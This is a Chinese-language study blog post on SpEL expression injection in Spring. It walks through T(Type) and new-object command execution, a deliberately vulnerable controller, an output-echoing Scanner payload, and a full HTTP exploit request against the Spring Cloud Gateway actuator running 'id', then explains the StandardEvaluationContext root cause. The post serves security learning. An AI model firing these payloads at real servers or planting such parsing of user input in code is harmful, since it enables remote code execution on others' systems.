SpEL表达式注入漏洞学习
SpEL表达式注入漏洞学习
SpEL(Spring Expression Language)表达式注入漏洞是Spring框架中的一种常见安全漏洞,攻击者可以通过构造恶意的SpEL表达式,在应用程序中执行任意代码。本文将详细介绍SpEL表达式的功能、使用方法以及如何利用SpEL表达式进行代码注入攻击。
SpEL表达式注入漏洞
前言
因为前端时间的spring gateway rce正是由此导致的所以来学习一下
介绍
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于统一EL,但提供了额外的功能,是方法调用和基本的字符串模板了同时SpEL是API接口的形式因为创建的,所以允许将其集成到其他应用程序和框架中。
环境搭建
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
下载之后用idea打开等待依赖关系解决完,然后配置springboot启动项
运行后访问
http://localhost:9091/
SpEL表达式使用
**SpEL定界符——
#{}
**
SpEL使用
#{}
作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。如果是 #{ 开头同时 } 结尾,就会进入到 SPEL 解析
这里需要注意
#{}
和
${}
的区别:
#{}
就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
${}
主要用于加载外部属性文件中的值,在Spring Boot 很早版本的一个SpEL表达式注入中就是依赖${}触发的两者可以混合使用,但是必须
#{}
在外面,
${}
在里面,如
#{'${}'}
,注意单引号是字符串类型才添加的
简单demo
public class Test {
public static void main(String[] args) {
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()入参内
Expression exp = parser.parseExpression("'hello world'");
//执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
Object value = exp.getValue();
System.out.println(value);
}
}
具体步骤如下:
创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
构造上下文:准备比如变量定义等等表达式需要的上下文数据;
求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;
主要接口
ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。
利用方法1-类类型表达式T(Type)
在SpEL表达式中,使用
T(Type)
运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
使用
T(Type)
来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,因为SpEL已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。
public class Test {
public static void main(String[] args) {
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()入参内
Expression exp = parser.parseExpression("T(java.lang.Math)");
//执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
Object value = exp.getValue();
System.out.println(value);
}
}
返回了Math类
那么尝试直接调用Runtime类中的exec方法
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
成功弹出了计算器
利用方法2-直接new对象使用
public class Test {
public static void main(String[] args) {
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()入参内
Expression exp = parser.parseExpression("new java.lang.ProcessBuilder('cmd','/c','calc').start()");
//执行SpEL表达式,执行的默认Spring容器是Spring本身的容器:ApplicationContext
Object value = exp.getValue();
System.out.println(value);
}
}
也能够命令执行
为什么不适用Runtime类?
因为Runtime类没有构造方法,只能通过getRuntime的方法去获得
回显问题
模拟真实环境中SpEL注入,如何自己构造回显了
简单demo
@RestController
@EnableAutoConfiguration
public class Index {
@ResponseBody
@RequestMapping(value = "/spel", method = {RequestMethod.GET, RequestMethod.POST})
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
}
这时候使用SpEL模板表达式会报错
需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。
@RestController
@EnableAutoConfiguration
public class Index {
@ResponseBody
@RequestMapping(value = "/spel", method = {RequestMethod.GET, RequestMethod.POST})
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
Expression expression = parser.parseExpression(input,templateParserContext);
return expression.getValue().toString();
}
}
成功命令执行
现在我们尝试执行whoami
返回的也只是类对象
因为我们可以随意创建对象并调用方法,所以可以利用java原生类来进行构造
Scanner
input=#{new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "GBK").useDelimiter("lyy9").next()}
原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,这里给不可能出现的字符串即可,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出。
成功回显
spring gateway rce 回显
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('/bin/sh','-c', 'id').start().getInputStream(), 'GBK').useDelimiter('lyy9').next()}"
}
}],
"uri": "http://example.com"
}
步骤就不介绍了,可以看之前的漏洞文章,最后也能成功回显
不过spring gateway的回显关键点并不在这,还是filter中的AddResponseHeaderGatewayFilterFactory可以向response 中写入执行结果,因此恰好满足回显要求
漏洞原理
其实就是SpEL本身带有强大功能,如果不做限制就会导致rce
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)或者直接new来调用任意对象的任意方法,成功造成任意命令执行。